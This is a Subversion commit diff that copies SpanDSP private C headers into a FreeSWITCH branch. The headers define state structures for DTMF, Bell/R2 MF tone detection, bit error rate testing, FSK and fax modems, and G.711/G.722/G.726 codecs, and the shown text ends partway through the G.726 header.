Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bell_r2_mf.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bell_r2_mf.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/bell_r2_mf.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bell_r2_mf.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bell_r2_mf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * bell_r2_mf.h - Bell MF and MFC/R2 tone generation and detection.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: bell_r2_mf.h,v 1.2 2008/10/13 14:19:18 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_BELL_R2_MF_H_)
+#define _SPANDSP_PRIVATE_BELL_R2_MF_H_
+
+/*!
+    Bell MF generator state descriptor. This defines the state of a single
+    working instance of a Bell MF generator.
+*/
+struct bell_mf_tx_state_s
+{
+    /*! The tone generator. */
+    tone_gen_state_t tones;
+    int current_sample;
+    union
+    {
+        queue_state_t queue;
+        uint8_t buf[QUEUE_STATE_T_SIZE(MAX_BELL_MF_DIGITS)];
+    } queue;
+};
+
+/*!
+    Bell MF digit detector descriptor.
+*/
+struct bell_mf_rx_state_s
+{
+    /*! Optional callback funcion to deliver received digits. */
+    digits_rx_callback_t digits_callback;
+    /*! An opaque pointer passed to the callback function. */
+    void *digits_callback_data;
+    /*! Tone detector working states */
+    goertzel_state_t out[6];
+    /*! Short term history of results from the tone detection, using in persistence checking */
+    uint8_t hits[5];
+    /*! The current sample number within a processing block. */
+    int current_sample;
+
+    /*! The number of digits which have been lost due to buffer overflows. */
+    int lost_digits;
+    /*! The number of digits currently in the digit buffer. */
+    int current_digits;
+    /*! The received digits buffer. This is a NULL terminated string. */
+    char digits[MAX_BELL_MF_DIGITS + 1];
+};
+
+/*!
+    MFC/R2 tone detector descriptor.
+*/
+struct r2_mf_tx_state_s
+{
+    /*! The tone generator. */
+    tone_gen_state_t tone;
+    /*! TRUE if generating forward tones, otherwise generating reverse tones. */
+    int fwd;
+    /*! The current digit being generated. */
+    int digit;
+};
+
+/*!
+    MFC/R2 tone detector descriptor.
+*/
+struct r2_mf_rx_state_s
+{
+    /*! Optional callback funcion to deliver received digits. */
+    tone_report_func_t callback;
+    /*! An opaque pointer passed to the callback function. */
+    void *callback_data;
+    /*! TRUE is we are detecting forward tones. FALSE if we are detecting backward tones */
+    int fwd;
+    /*! Tone detector working states */
+    goertzel_state_t out[6];
+    /*! The current sample number within a processing block. */
+    int current_sample;
+    /*! The currently detected digit. */
+    int current_digit;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bert.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bert.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/bert.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bert.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bert.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/bert.h - Bit error rate tests.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: bert.h,v 1.2 2009/04/14 16:04:54 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_BERT_H_)
+#define _SPANDSP_PRIVATE_BERT_H_
+
+typedef struct
+{
+    uint32_t reg;
+    int step;
+    int step_bit;
+    int bits;
+    int zeros;
+} bert_tx_state_t;
+
+typedef struct
+{
+    uint32_t reg;
+    uint32_t ref_reg;
+    uint32_t master_reg;
+    int step;
+    int step_bit;
+    int resync;
+    int bits;
+    int zeros;
+    int resync_len;
+    int resync_percent;
+    int resync_bad_bits;
+    int resync_cnt;
+    int report_countdown;
+    int measurement_step;
+} bert_rx_state_t;
+
+/*!
+    Bit error rate tester (BERT) descriptor. This defines the working state for a
+    single instance of the BERT.
+*/
+struct bert_state_s
+{
+    int pattern;
+    int pattern_class;
+    bert_report_func_t reporter;
+    void *user_data;
+    int report_frequency;
+    int limit;
+
+    uint32_t mask;
+    int shift;
+    int shift2;
+    int max_zeros;
+    int invert;
+    int resync_time;
+
+    int decade_ptr[9];
+    int decade_bad[9][10];
+    int error_rate;
+
+    bert_tx_state_t tx;
+    bert_rx_state_t rx;
+
+    bert_results_t results;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bitstream.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bitstream.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/bitstream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bitstream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/bitstream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/bitstream.h - Bitstream composition and decomposition routines.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: bitstream.h,v 1.1 2008/11/30 12:45:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_BITSTREAM_H_)
+#define _SPANDSP_PRIVATE_BITSTREAM_H_
+
+/*! Bitstream handler state */
+struct bitstream_state_s
+{
+    /*! The bit stream. */
+    uint32_t bitstream;
+    /*! The residual bits in bitstream. */
+    int residue;
+};
+
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/dtmf.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/dtmf.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/dtmf.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/dtmf.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/dtmf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/dtmf.h - DTMF tone generation and detection 
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001, 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: dtmf.h,v 1.1 2008/10/13 13:14:01 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_DTMF_H_)
+#define _SPANDSP_PRIVATE_DTMF_H_
+
+/*!
+    DTMF generator state descriptor. This defines the state of a single
+    working instance of a DTMF generator.
+*/
+struct dtmf_tx_state_s
+{
+    tone_gen_state_t tones;
+    float low_level;
+    float high_level;
+    int on_time;
+    int off_time;
+    union
+    {
+        queue_state_t queue;
+        uint8_t buf[QUEUE_STATE_T_SIZE(MAX_DTMF_DIGITS)];
+    } queue;
+};
+
+/*!
+    DTMF digit detector descriptor.
+*/
+struct dtmf_rx_state_s
+{
+    /*! Optional callback funcion to deliver received digits. */
+    digits_rx_callback_t digits_callback;
+    /*! An opaque pointer passed to the callback function. */
+    void *digits_callback_data;
+    /*! Optional callback funcion to deliver real time digit state changes. */
+    tone_report_func_t realtime_callback;
+    /*! An opaque pointer passed to the real time callback function. */
+    void *realtime_callback_data;
+    /*! TRUE if dialtone should be filtered before processing */
+    int filter_dialtone;
+#if defined(SPANDSP_USE_FIXED_POINT)
+    /*! 350Hz filter state for the optional dialtone filter. */
+    float z350[2];
+    /*! 440Hz filter state for the optional dialtone filter. */
+    float z440[2];
+    /*! Maximum acceptable "normal" (lower bigger than higher) twist ratio. */
+    float normal_twist;
+    /*! Maximum acceptable "reverse" (higher bigger than lower) twist ratio. */
+    float reverse_twist;
+    /*! Minimum acceptable tone level for detection. */
+    int32_t threshold;
+    /*! The accumlating total energy on the same period over which the Goertzels work. */
+    int32_t energy;
+#else
+    /*! 350Hz filter state for the optional dialtone filter. */
+    float z350[2];
+    /*! 440Hz filter state for the optional dialtone filter. */
+    float z440[2];
+    /*! Maximum acceptable "normal" (lower bigger than higher) twist ratio. */
+    float normal_twist;
+    /*! Maximum acceptable "reverse" (higher bigger than lower) twist ratio. */
+    float reverse_twist;
+    /*! Minimum acceptable tone level for detection. */
+    float threshold;
+    /*! The accumlating total energy on the same period over which the Goertzels work. */
+    float energy;
+#endif
+    /*! Tone detector working states for the row tones. */
+    goertzel_state_t row_out[4];
+    /*! Tone detector working states for the column tones. */
+    goertzel_state_t col_out[4];
+    /*! The result of the last tone analysis. */
+    uint8_t last_hit;
+    /*! The confirmed digit we are currently receiving */
+    uint8_t in_digit;
+    /*! The current sample number within a processing block. */
+    int current_sample;
+
+    /*! The number of digits which have been lost due to buffer overflows. */
+    int lost_digits;
+    /*! The number of digits currently in the digit buffer. */
+    int current_digits;
+    /*! The received digits buffer. This is a NULL terminated string. */
+    char digits[MAX_DTMF_DIGITS + 1];
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/fax.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/fax.h - private definitions for analogue line ITU T.30 fax processing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fax.h,v 1.1 2008/10/13 13:14:01 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_FAX_H_)
+#define _SPANDSP_PRIVATE_FAX_H_
+
+/*!
+    Analogue line T.30 FAX channel descriptor. This defines the state of a single working
+    instance of an analogue line soft-FAX machine.
+*/
+struct fax_state_s
+{
+    /*! \brief The T.30 back-end */
+    t30_state_t t30;
+    
+    /*! \brief The analogue modem front-end */
+    fax_modems_state_t modems;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax_modems.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax_modems.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/fax_modems.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax_modems.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fax_modems.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,129 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/fax_modems.h - definitions for the analogue modem set for fax processing
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2008 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fax_modems.h,v 1.3 2009/03/23 14:17:42 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_FAX_MODEMS_H_)
+#define _SPANDSP_PRIVATE_FAX_MODEMS_H_
+
+/*!
+    The set of modems needed for FAX, plus the auxilliary stuff, like tone generation.
+*/
+struct fax_modems_state_s
+{
+    /*! TRUE is talker echo protection should be sent for the image modems */
+    int use_tep;
+
+    /*! If TRUE, transmit silence when there is nothing else to transmit. If FALSE return only
+        the actual generated audio. Note that this only affects untimed silences. Timed silences
+        (e.g. the 75ms silence between V.21 and a high speed modem) will alway be transmitted as
+        silent audio. */
+    int transmit_on_idle;
+
+    /*! \brief An HDLC context used when transmitting HDLC messages. */
+    hdlc_tx_state_t hdlc_tx;
+    /*! \brief An HDLC context used when receiving HDLC messages. */
+    hdlc_rx_state_t hdlc_rx;
+    /*! \brief A V.21 FSK modem context used when transmitting HDLC over V.21
+               messages. */
+    fsk_tx_state_t v21_tx;
+    /*! \brief A V.21 FSK modem context used when receiving HDLC over V.21
+               messages. */
+    fsk_rx_state_t v21_rx;
+    /*! \brief A V.17 modem context used when sending FAXes at 7200bps, 9600bps
+               12000bps or 14400bps */
+    v17_tx_state_t v17_tx;
+    /*! \brief A V.29 modem context used when receiving FAXes at 7200bps, 9600bps
+               12000bps or 14400bps */
+    v17_rx_state_t v17_rx;
+    /*! \brief A V.29 modem context used when sending FAXes at 7200bps or
+               9600bps */
+    v29_tx_state_t v29_tx;
+    /*! \brief A V.29 modem context used when receiving FAXes at 7200bps or
+               9600bps */
+    v29_rx_state_t v29_rx;
+    /*! \brief A V.27ter modem context used when sending FAXes at 2400bps or
+               4800bps */
+    v27ter_tx_state_t v27ter_tx;
+    /*! \brief A V.27ter modem context used when receiving FAXes at 2400bps or
+               4800bps */
+    v27ter_rx_state_t v27ter_rx;
+    /*! \brief Used to insert timed silences. */
+    silence_gen_state_t silence_gen;
+    /*! \brief CED or CNG generator */
+    modem_connect_tones_tx_state_t connect_tx;
+    /*! \brief CED or CNG detector */
+    modem_connect_tones_rx_state_t connect_rx;
+    /*! \brief */
+    dc_restore_state_t dc_restore;
+
+    /*! \brief The currently select receiver type */
+    int current_rx_type;
+    /*! \brief The currently select transmitter type */
+    int current_tx_type;
+
+    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
+    int rx_signal_present;
+    /*! \brief TRUE if a modem has trained correctly. */
+    int rx_trained;
+    /*! \brief TRUE if an HDLC frame has been received correctly. */
+    int rx_frame_received;
+
+    /*! The current receive signal handler */
+    span_rx_handler_t *rx_handler;
+    void *rx_user_data;
+
+    /*! The current receive missing signal fill-in handler */
+    span_rx_fillin_handler_t *rx_fillin_handler;
+    void *rx_fillin_user_data;
+
+    /*! The current transmit signal handler */
+    span_tx_handler_t *tx_handler;
+    void *tx_user_data;
+
+    /*! The next transmit signal handler, for two stage transmit operations.
+        E.g. a short silence followed by a modem signal. */
+    span_tx_handler_t *next_tx_handler;
+    void *next_tx_user_data;
+
+    /*! The current bit rate of the transmitter. */
+    int tx_bit_rate;
+    /*! The current bit rate of the receiver. */
+    int rx_bit_rate;
+
+    /*! If TRUE, transmission is in progress */
+    int transmit;
+    /*! \brief Audio logging file handle for received audio. */
+    int audio_rx_log;
+    /*! \brief Audio logging file handle for transmitted audio. */
+    int audio_tx_log;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fsk.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fsk.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/fsk.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fsk.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/fsk.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/fsk.h - FSK modem transmit and receive parts
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fsk.h,v 1.5 2009/04/01 13:22:40 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_FSK_H_)
+#define _SPANDSP_PRIVATE_FSK_H_
+
+/*!
+    FSK modem transmit descriptor. This defines the state of a single working
+    instance of an FSK modem transmitter.
+*/
+struct fsk_tx_state_s
+{
+    int baud_rate;
+    /*! \brief The callback function used to get the next bit to be transmitted. */
+    get_bit_func_t get_bit;
+    /*! \brief A user specified opaque pointer passed to the get_bit function. */
+    void *get_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    int32_t phase_rates[2];
+    int16_t scaling;
+    int32_t current_phase_rate;
+    uint32_t phase_acc;
+    int baud_frac;
+    int shutdown;
+};
+
+/*!
+    FSK modem receive descriptor. This defines the state of a single working
+    instance of an FSK modem receiver.
+*/
+struct fsk_rx_state_s
+{
+    int baud_rate;
+    /*! \brief Synchronous/asynchronous framing control */
+    int framing_mode;
+    /*! \brief The callback function used to put each bit received. */
+    put_bit_func_t put_bit;
+    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
+    void *put_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    int32_t carrier_on_power;
+    int32_t carrier_off_power;
+    power_meter_t power;
+    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
+    int16_t last_sample;
+    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.29 signal. */
+    int signal_present;
+
+    int32_t phase_rate[2];
+    uint32_t phase_acc[2];
+
+    int correlation_span;
+
+    complexi32_t window[2][FSK_MAX_WINDOW_LEN];
+    complexi32_t dot[2];
+    int buf_ptr;
+
+    int frame_state;
+    int frame_bits;
+    int baud_phase;
+    int last_bit;
+    int scaling_shift;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g711.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g711.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/g711.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g711.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g711.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/g711.h - In line A-law and u-law conversion routines
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: g711.h,v 1.2 2009/04/12 09:12:11 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_G711_H_)
+#define _SPANDSP_PRIVATE_G711_H_
+
+/*!
+    G.711 state
+ */
+struct g711_state_s
+{
+    /*! One of the G.711_xxx options */
+    int mode;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g722.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g722.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/g722.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g722.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g722.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/g722.h - The ITU G.722 codec.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * Based on a single channel G.722 codec which is:
+ *
+ *****    Copyright (c) CMU    1993      *****
+ * Computer Science, Speech Group
+ * Chengxiang Lu and Alex Hauptmann
+ *
+ * $Id: g722.h,v 1.2 2009/04/12 09:12:11 steveu Exp $
+ */
+
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_G722_H_)
+#define _SPANDSP_PRIVATE_G722_H_
+
+/*! The per band parameters for both encoding and decoding G.722 */
+typedef struct
+{
+    int16_t nb;
+    int16_t det;
+    int16_t s;
+    int16_t sz;
+    int16_t r;
+    int16_t p[2];
+    int16_t a[2];
+    int16_t b[6];
+    int16_t d[7];
+} g722_band_t;
+
+/*!
+    G.722 encode state
+ */
+struct g722_encode_state_s
+{
+    /*! TRUE if the operating in the special ITU test mode, with the band split filters
+             disabled. */
+    int itu_test_mode;
+    /*! TRUE if the G.722 data is packed */
+    int packed;
+    /*! TRUE if encode from 8k samples/second */
+    int eight_k;
+    /*! 6 for 48000kbps, 7 for 56000kbps, or 8 for 64000kbps. */
+    int bits_per_sample;
+
+    /*! Signal history for the QMF */
+    int16_t x[12];
+    int16_t y[12];
+    int ptr;
+
+    g722_band_t band[2];
+
+    uint32_t in_buffer;
+    int in_bits;
+    uint32_t out_buffer;
+    int out_bits;
+};
+
+/*!
+    G.722 decode state
+ */
+struct g722_decode_state_s
+{
+    /*! TRUE if the operating in the special ITU test mode, with the band split filters
+             disabled. */
+    int itu_test_mode;
+    /*! TRUE if the G.722 data is packed */
+    int packed;
+    /*! TRUE if decode to 8k samples/second */
+    int eight_k;
+    /*! 6 for 48000kbps, 7 for 56000kbps, or 8 for 64000kbps. */
+    int bits_per_sample;
+
+    /*! Signal history for the QMF */
+    int16_t x[12];
+    int16_t y[12];
+    int ptr;
+
+    g722_band_t band[2];
+    
+    uint32_t in_buffer;
+    int in_bits;
+    uint32_t out_buffer;
+    int out_bits;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g726.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g726.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/g726.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g726.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/g726.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/g726.h - ITU G.726 codec.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: g726.h,v 1.4 2009/04/12 09:12:11 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_G726_H_)
+#define _SPANDSP_PRIVATE_G726_H_
+
+/*!
+ * The following is the definition of the state structure
+ * used by the G.726 encoder and decoder to preserve their internal
+ * state between successive calls.  The meanings of the majority
+ * of the state structure fields are explained in detail in the
+ * ITU Recommendation G.726.  The field names are essentially indentical
+ * to variable names in the bit level description of the coding algorithm
+ * included in this recommendation.
+ */
+struct g726_state_s
+{
+    /*! The bit rate */
+    int rate;
+    /*! The external coding, for tandem operation */
+    int ext_coding;
+    /*! The number of bits per sample */
+    int bits_per_sample;
+    /*! One of the G.726_PACKING_xxx options */
+    int packing;
+
+    /*! Locked or steady state step size multiplier. */
+    int32_t yl;
+    /*! Unlocked or non-steady state step size multiplier. */
+    int16_t yu;
+    /*! int16_t term energy estimate. */
+    int16_t dms;
+    /*! Long term energy estimate. */
+    int16_t dml;
+    /*! Linear weighting coefficient of 'yl' and 'yu'. */
+    int16_t ap;
+    
+    /*! Coefficients of pole portion of prediction filter. */
+    int16_t a[2];
+    /*! Coefficients of zero portion of prediction filter. */
+    int16_t b[6];
+    /*! Signs of previous two samples of a partially reconstructed signal. */
+    int16_t pk[2];
+    /*! Previous 6 samples of the quantized difference signal represented in
+        an internal floating point format. */
+    int16_t dq[6];
+    /*! Previous 2 samples of the quantized difference signal represented in an
+        internal floating point format. */
+    int16_t sr[2];
+    /*! Delayed tone detect */
+    int td;
+    
+    /*! \brief The bit stream processing context. */
+    bitstream_state_t bs;
+
+    /*! \brief The current encoder function. */
+    g726_encoder_func_t enc_func;
+    /*! \brief The current decoder function. */
+    g726_decoder_func_t dec_func;
